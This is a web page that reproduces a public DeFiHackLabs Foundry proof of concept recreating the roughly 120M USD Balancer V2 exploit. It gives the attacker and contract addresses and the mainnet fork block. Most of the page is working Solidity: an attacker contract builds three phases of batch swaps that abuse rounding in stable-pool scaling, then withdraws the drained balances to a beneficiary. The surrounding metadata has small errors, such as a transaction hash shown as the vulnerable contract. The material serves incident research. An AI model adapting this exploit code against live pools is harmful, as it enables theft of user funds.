Public reproduction file
src/test/2025-11/BalancerV2_exp.sol
Public reproduction file for dataset entry BalancerV2.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.0;3import "forge-std/Test.sol";4import "../interface.sol";5import "../StableMath.sol";7// @KeyInfo - Total Lost : 120M USD8// Attacker : https://etherscan.io/address/0x506d1f9efe24f0d47853adca907eb8d89ae032079// Attack Contract : https://etherscan.io/address/0x54B53503c0e2173Df29f8da735fBd45Ee8aBa30d10// Vulnerable Contract : 11// Attack Tx: https://app.blocksec.com/explorer/tx/eth/0x6ed07db1a9fe5c0794d44cd36081d6a6df103fab868cdd75d581e3bd23bc974212// Withdrawal Tx: https://app.blocksec.com/explorer/tx/eth/0xd155207261712c35fa3d472ed1e51bfcd816e616dd4f517fa5959836f5b4856914// @Info15// Vulnerable Contract Code : 17// @Analysis18// Post-mortem : https://x.com/BlockSecTeam/status/1986057732810518640, https://x.com/SlowMist_Team/status/1986379316935205299, https://x.com/hklst4r/status/198587215107795382719// Twitter Guy : https://x.com/BlockSecTeam/status/1986057732810518640, https://x.com/SlowMist_Team/status/1986379316935205299, https://x.com/hklst4r/status/198587215107795382720// Hacking God : N/A22address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;23address constant balancer = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;24address constant osETH_wETH = 0xDACf5Fa19b1f720111609043ac67A9818262850c;25address constant wstETH_wETH = 0x93d199263632a4EF4Bb438F1feB99e57b4b5f0BD;26address constant osToken = 0xf1C9acDc66974dFB6dEcB12aA385b9cD01190E38;27address constant wstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;28address constant attacker = 0x506D1f9EFe24f0d47853aDca907EB8d89AE03207;29address constant beneficiary = 0xAa760D53541d8390074c61DEFeaba314675b8e3f;31contract ContractTest is Test {32 function setUp() public {33 vm.createSelectFork("mainnet", 23717397 - 1);34 }36 function testPoC() public {37 emit log_named_decimal_uint("before attack: balance of address(beneficiary)", IERC20(weth).balanceOf(address(beneficiary)), 18);38 emit log_named_decimal_uint("before attack: balance of address(beneficiary)", IERC20(osETH_wETH).balanceOf(address(beneficiary)), 18);39 emit log_named_decimal_uint("before attack: balance of address(beneficiary)", IERC20(osToken).balanceOf(address(beneficiary)), 18);40 emit log_named_decimal_uint("before attack: balance of address(beneficiary)", IERC20(wstETH).balanceOf(address(beneficiary)), 18);41 emit log_named_decimal_uint("before attack: balance of address(beneficiary)", IERC20(wstETH_wETH).balanceOf(address(beneficiary)), 18);42 // vm.startPrank(attacker, attacker);43 AttackerC attC = new AttackerC();44 attC.attack(osETH_wETH, 67000, 30); // offline computing numbers45 attC.withdraw(osETH_wETH);47 attC.attack(wstETH_wETH, 100000000000, 25); // offline computing numbers48 attC.withdraw(wstETH_wETH);49 // vm.stopPrank();50 emit log_named_decimal_uint("after attack: balance of address(beneficiary)", IERC20(weth).balanceOf(address(beneficiary)), 18);51 emit log_named_decimal_uint("after attack: balance of address(beneficiary)", IERC20(osETH_wETH).balanceOf(address(beneficiary)), 18);52 emit log_named_decimal_uint("after attack: balance of address(beneficiary)", IERC20(osToken).balanceOf(address(beneficiary)), 18);53 emit log_named_decimal_uint("after attack: balance of address(beneficiary)", IERC20(wstETH).balanceOf(address(beneficiary)), 18);54 emit log_named_decimal_uint("after attack: balance of address(beneficiary)", IERC20(wstETH_wETH).balanceOf(address(beneficiary)), 18);55 }56}58contract Helper {59 using FixedPoint for uint256;61 function swapGivenOut(62 uint256[] memory balances, 63 uint256[] memory scalingFactors, 64 uint256 tokenIndexIn, 65 uint256 tokenIndexOut, 66 uint256 tokenAmountOut, 67 uint256 amplificationParameter, 68 uint256 swapFee 69 ) public view returns (uint256[] memory) {70 uint256 n = balances.length;71 uint256[] memory balanceScaled = new uint256[](n);72 for (uint256 i = 0; i < n; i++) {73 balanceScaled[i] = FixedPoint.mulDown(balances[i], scalingFactors[i]);74 }76 uint256 invariant = StableMath._calculateInvariant(amplificationParameter, balanceScaled);77 uint256 amountOutScaled = FixedPoint.mulDown(tokenAmountOut, scalingFactors[tokenIndexOut]); // precision loss here78 uint256 amountInScaled = StableMath._calcInGivenOut(79 amplificationParameter,80 balanceScaled,81 tokenIndexIn,82 tokenIndexOut,83 amountOutScaled,84 invariant85 );86 uint256 rawAmountIn = FixedPoint.divUp(amountInScaled, scalingFactors[tokenIndexIn]);87 uint256 amountInWithFee = FixedPoint.divUp(rawAmountIn, FixedPoint.ONE.sub(swapFee));89 balances[tokenIndexOut] = balances[tokenIndexOut].sub(tokenAmountOut);90 balances[tokenIndexIn] = balances[tokenIndexIn].add(amountInWithFee);92 return balances;93 }96 function get_trickAmt(uint256 scalingfactor) public pure returns (uint256 trickAmt) {97 trickAmt = 10000 / ((scalingfactor - 1e18) * 10000 / 1e18);98 return trickAmt;99 }101 function get_index(102 address[] memory tokens, 103 uint256[] memory balances,104 uint256 BptIndex105 ) public returns (uint256 idx) {106 uint256 idx = 0;107 uint256 maxbalance = balances[idx];108 for (uint256 i = 1; i < tokens.length; i++) {109 if (i == BptIndex) continue;110 if (balances[i] > maxbalance) {111 maxbalance = balances[i];112 idx = i;113 }114 }115 return idx;116 }119 function concat_steps(120 IBalancerVault.BatchSwapStep[] memory a,121 IBalancerVault.BatchSwapStep[] memory b122 ) public returns (IBalancerVault.BatchSwapStep[] memory) {123 IBalancerVault.BatchSwapStep[] memory c = new IBalancerVault.BatchSwapStep[](124 a.length + b.length125 );126 uint256 k = 0;127 for (uint256 i = 0; i < a.length; i++) c[k++] = a[i];128 for (uint256 i = 0; i < b.length; i++) c[k++] = b[i];129 return c;130 }132 function get_amount(uint256 actualSupply) public pure returns (uint256) {133 uint256 a = uint256(actualSupply * 10030 / 10000);135 return uint256((a - get_base(a)) / 2) + 1;136 }139 function get_base(uint256 v) public pure returns (uint256) {140 uint base = 1e4;141 while (base * 1e3 < v) base = base * 1e3;142 return base;143 }145 function trim(uint256 n) public pure returns (uint256) {146 if (n < 100) return n;148 uint256 initBalance = n;149 uint256 pow = 1;151 while (initBalance > 100) {152 initBalance = initBalance / 10;153 pow = pow * 10;154 }155 return n / pow * pow;156 }158}160// 0x54B53503c0e2173Df29f8da735fBd45Ee8aBa30d161contract AttackerC {162 Helper public helper = new Helper();164 uint256 constant MAX_STEPS = 300;166 function prepare_phase1_steps(167 bytes32 poolId,168 address[] memory tokens, 169 uint256[] memory balances,170 uint256 BptIndex,171 uint256 initBalance172 ) public returns (IBalancerVault.BatchSwapStep[] memory steps) {173 IBalancerVault.BatchSwapStep[] memory buffer = new IBalancerVault.BatchSwapStep[](MAX_STEPS);174 uint256[] memory preAmount = new uint256[](tokens.length);175 uint256[] memory sumAmounts = new uint256[](tokens.length);177 uint256 amount;178 uint256 nextAmount;179 bool exit = false;180 uint256 stepCount = 0;181 while (!exit) {182 for (uint256 assetOutIndex = 0; assetOutIndex < tokens.length; assetOutIndex++) {183 if (assetOutIndex == BptIndex) continue;184 if (preAmount[assetOutIndex] == 0) {185 amount = 99 * balances[assetOutIndex] - 99 * initBalance;186 } else {187 amount = preAmount[assetOutIndex] - 99 * uint256(preAmount[assetOutIndex] / 100);188 }189 preAmount[assetOutIndex] = amount;190 amount = amount / 100;191 nextAmount = preAmount[assetOutIndex] - 99 * uint256(preAmount[assetOutIndex] / 100);192 if (nextAmount < 100) {193 exit = true;194 amount = balances[assetOutIndex] - sumAmounts[assetOutIndex] - initBalance;195 } else {196 sumAmounts[assetOutIndex] += amount;197 }199 buffer[stepCount] = IBalancerVault.BatchSwapStep({200 poolId: poolId,201 assetInIndex: BptIndex, // BPT202 assetOutIndex: assetOutIndex,203 amount: amount,204 userData: bytes("")205 });207 stepCount++;208 }209 }211 IBalancerVault.BatchSwapStep[] memory steps = new IBalancerVault.BatchSwapStep[](stepCount);212 for (uint256 i = 0; i < stepCount; i++) {213 steps[i] = buffer[i];214 }216 return steps;217 }219 function prepare_phase2_steps(220 bytes32 poolId,221 uint256[] memory scalingFactors, 222 uint256 amplificationParameter, 223 uint256 swapFee,224 uint256 maxRounds,225 uint256 initBalance,226 uint256 trickAmt,227 uint256 tokenIndexIn,228 uint256 tokenIndexOut,229 uint256 indexIn,230 uint256 indexOut231 ) public returns (IBalancerVault.BatchSwapStep[] memory steps) {232 IBalancerVault.BatchSwapStep[] memory buffer = new IBalancerVault.BatchSwapStep[](MAX_STEPS);233 uint256[] memory balances = new uint256[](2);234 balances[0] = initBalance;235 balances[1] = initBalance;236 uint256 amount = balances[1];237 uint256 stepCount = 0;238 for (uint256 round = 0; round < maxRounds; ++round) {239 balances = helper.swapGivenOut(balances, scalingFactors, tokenIndexIn, tokenIndexOut, amount - trickAmt - 1, amplificationParameter, swapFee);240 buffer[stepCount++] = IBalancerVault.BatchSwapStep({241 poolId: poolId,242 assetInIndex: indexIn,243 assetOutIndex: indexOut,244 amount: amount - trickAmt - 1,245 userData: bytes("")246 });248 balances = helper.swapGivenOut(balances, scalingFactors, tokenIndexIn, tokenIndexOut, trickAmt, amplificationParameter, swapFee);249 buffer[stepCount++] = IBalancerVault.BatchSwapStep({250 poolId: poolId,251 assetInIndex: indexIn,252 assetOutIndex: indexOut,253 amount: trickAmt,254 userData: bytes("")255 });256 amount = helper.trim(balances[tokenIndexIn]);257 for (uint256 j = 0; j < 3; ++j) {258 try helper.swapGivenOut(balances, scalingFactors, tokenIndexOut, tokenIndexIn, amount, amplificationParameter, swapFee) returns (uint256[] memory newBalances) {259 buffer[stepCount++] = IBalancerVault.BatchSwapStep({260 poolId: poolId,261 assetInIndex: indexOut,262 assetOutIndex: indexIn,263 amount: amount,264 userData: bytes("")265 });266 balances = newBalances;267 amount = balances[tokenIndexOut];268 break;269 } catch {270 amount = (amount * 9) / 10;271 continue;272 }273 }274 }276 IBalancerVault.BatchSwapStep[] memory steps = new IBalancerVault.BatchSwapStep[](stepCount);277 for (uint256 i = 0; i < stepCount; ++i) {278 steps[i] = buffer[i];279 }281 return steps;282 }284 function prepare_phase3_steps(285 bytes32 poolId,286 uint256 actualSupply287 ) public returns (IBalancerVault.BatchSwapStep[] memory steps) {288 IBalancerVault.BatchSwapStep[] memory buffer = new IBalancerVault.BatchSwapStep[](MAX_STEPS);289 uint256 amount = 1e4;290 uint256 stepCount = 0;291 for (uint256 round = 0; round < 3; ++round) {292 buffer[stepCount++] = IBalancerVault.BatchSwapStep({293 poolId: poolId,294 assetInIndex: 0,295 assetOutIndex: 1,296 amount: amount,297 userData: bytes("")298 });299 amount = amount * 1e3;300 buffer[stepCount++] = IBalancerVault.BatchSwapStep({301 poolId: poolId,302 assetInIndex: 2,303 assetOutIndex: 1,304 amount: amount,305 userData: bytes("")306 });307 amount = amount * 1e3;308 }310 buffer[stepCount++] = IBalancerVault.BatchSwapStep({311 poolId: poolId,312 assetInIndex: 0,313 assetOutIndex: 1,314 amount: amount,315 userData: bytes("")316 });317 amount = helper.get_amount(actualSupply);318 // console.log("phase 3 step amount", amount);319 buffer[stepCount++] = IBalancerVault.BatchSwapStep({320 poolId: poolId,321 assetInIndex: 2,322 assetOutIndex: 1,323 amount: amount,324 userData: bytes("")325 });326 buffer[stepCount++] = IBalancerVault.BatchSwapStep({327 poolId: poolId,328 assetInIndex: 0,329 assetOutIndex: 1,330 amount: amount,331 userData: bytes("")332 });334 IBalancerVault.BatchSwapStep[] memory steps = new IBalancerVault.BatchSwapStep[](stepCount);335 for (uint256 i = 0; i < stepCount; ++i) {336 steps[i] = buffer[i];337 }339 return steps;340 }342 // https://etherscan.io/tx/0x6ed07db1a9fe5c0794d44cd36081d6a6df103fab868cdd75d581e3bd23bc9742343 function attack(address pool, uint256 initBalance, uint256 loops) public {344 bytes32 poolId = IComposableStablePool(pool).getPoolId(); 345 uint256 BptIndex = IComposableStablePool(pool).getBptIndex(); 346 (address[] memory tokens, uint256[] memory startBalances, uint256 startBlock) = IBalancerVault(balancer).getPoolTokens(poolId); 348 for (uint256 i = 0; i < tokens.length; i++) {349 IERC20(address(tokens[i])).approve(balancer, type(uint256).max);350 }352 uint256[] memory scalingFactors = IComposableStablePool(pool).getScalingFactors(); 353 uint256 idx = helper.get_index(tokens, startBalances, BptIndex);354 IComposableStablePool(pool).updateTokenRateCache(tokens[idx]);355 uint256 trickAmt = helper.get_trickAmt(scalingFactors[idx]);356 uint256 indexIn = 0;357 uint256 indexOut = 2;359 uint256 tokenIndexIn = 0;360 uint256 tokenIndexOut = 1;362 if (idx == 0) {363 indexIn = 2;364 indexOut = 0;366 tokenIndexIn = 1;367 tokenIndexOut = 0; 368 }370 (uint256 amplificationParameter, bool isUpdating, uint256 precision) = IComposableStablePool(pool).getAmplificationParameter(); 371 uint256 swapFeePercentage = IComposableStablePool(pool).getSwapFeePercentage();372 uint256 rate = IComposableStablePool(pool).getRate(); 373 (, uint256[] memory balances, uint256 lastChangeBlock) = IBalancerVault(balancer).getPoolTokens(poolId); 374 uint256 actualSupply = IComposableStablePool(pool).getActualSupply(); 375 scalingFactors = IComposableStablePool(pool).getScalingFactors(); 377 IBalancerVault.BatchSwapStep[] memory phase1steps = prepare_phase1_steps(378 poolId,379 tokens,380 balances,381 BptIndex,382 initBalance383 );384 // except the bpt token385 uint256[] memory newScalingFactors = new uint256[](2);386 newScalingFactors[0] = scalingFactors[0];387 newScalingFactors[1] = scalingFactors[2];389 IBalancerVault.BatchSwapStep[] memory phase2steps = prepare_phase2_steps(390 poolId,391 newScalingFactors,392 amplificationParameter,393 swapFeePercentage,394 loops,395 initBalance,396 trickAmt,397 tokenIndexIn,398 tokenIndexOut,399 indexIn,400 indexOut401 );403 IBalancerVault.BatchSwapStep[] memory phase3steps = prepare_phase3_steps(404 poolId,405 actualSupply406 );407 IBalancerVault.BatchSwapStep[] memory steps = helper.concat_steps(408 helper.concat_steps(phase1steps, phase2steps), 409 phase3steps410 );412 int256[] memory limits = new int256[](3);413 limits[0] = 0x400000000000000000000000000000000000000000000000000000000000000;414 limits[1] = 0x400000000000000000000000000000000000000000000000000000000000000;415 limits[2] = 0x400000000000000000000000000000000000000000000000000000000000000;417 IBalancerVault(balancer).batchSwap(IBalancerVault.SwapKind.GIVEN_OUT, steps, tokens, IBalancerVault.FundManagement({418 sender: address(this),419 fromInternalBalance: true,420 recipient: payable(address(this)),421 toInternalBalance: true422 }), limits, block.timestamp);423 }425 // https://etherscan.io/tx/0xd155207261712c35fa3d472ed1e51bfcd816e616dd4f517fa5959836f5b48569426 function withdraw(address pool) public {427 bytes32 poolId = IComposableStablePool(pool).getPoolId(); // 0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635428 (address[] memory tokens, uint256[] memory startBalances, uint256 startBlock) = IBalancerVault(balancer).getPoolTokens(poolId); //429 (uint256[] memory balances) = IBalancerVault(balancer).getInternalBalance(address(this), tokens);431 IBalancerVault.UserBalanceOp[] memory ops = new IBalancerVault.UserBalanceOp[](tokens.length);432 for (uint256 i = 0; i < tokens.length; i++) {433 ops[i] = IBalancerVault.UserBalanceOp({434 kind: IBalancerVault.UserBalanceOpKind.WITHDRAW_INTERNAL,435 asset: tokens[i],436 amount: balances[i],437 sender: address(this),438 recipient: payable(beneficiary)439 });440 }442 IBalancerVault(balancer).manageUserBalance(ops);443 }444}446interface IComposableStablePool {447 function getPoolId() external returns (bytes32);448 function getBptIndex() external returns (uint256);449 function approve(address, uint256) external returns (bool);450 function getScalingFactors() external returns (uint256[] memory);451 function getRateProviders() external returns (address[] memory);452 function updateTokenRateCache(address) external;453 function getAmplificationParameter() external returns (uint256, bool, uint256);454 function getSwapFeePercentage() external returns (uint256);455 function getRate() external returns (uint256);456 function getActualSupply() external returns (uint256);457 function balanceOf(address) external returns (uint256); 458}Analysis
Dataset entry
Public Foundry test for “BalancerV2” (2025-11-03). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
3 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-11/DRLVaultV3_exp.solSame month in the dataset · 161 lines
- src/test/2025-11/Moonwell_exp.solSame month in the dataset · 265 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x506d1f9efe24f0d47853adca907eb8d89ae03207
- Attack Contract
0x54b53503c0e2173df29f8da735fbd45ee8aba30d
- Vulnerable Contract
0x6ed07db1a9fe5c0794d44cd36081d6a6df103fab
- Attack Tx
0x6ed07db1a9fe5c0794d44cd36081d6a6df103fab868cdd75d581e3bd23bc9742
- Post: https://x.com/BlockSecTeam/status/1986057732810518640
- Explorer: https://etherscan.io/address/0x506d1f9efe24f0d47853adca907eb8d89ae03207
- Explorer: https://etherscan.io/address/0x54B53503c0e2173Df29f8da735fBd45Ee8aBa30d
- Reference: https://x.com/hklst4r/status/1985872151077953827
- Explorer: https://etherscan.io/tx/0x6ed07db1a9fe5c0794d44cd36081d6a6df103fab868cdd75d581e3bd23bc9742
- Explorer: https://etherscan.io/tx/0xd155207261712c35fa3d472ed1e51bfcd816e616dd4f517fa5959836f5b48569
File record
- Name
- BalancerV2
- Path
- src/test/2025-11/BalancerV2_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 5cf89c2c29a929d09f92f99e7491be271332766f
- Language
- Solidity
- Size
- 459 lines
- Date
- 2025-11-03
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-11/BalancerV2_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5cf89c2c29a929d09f92f99e7491be271332766f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.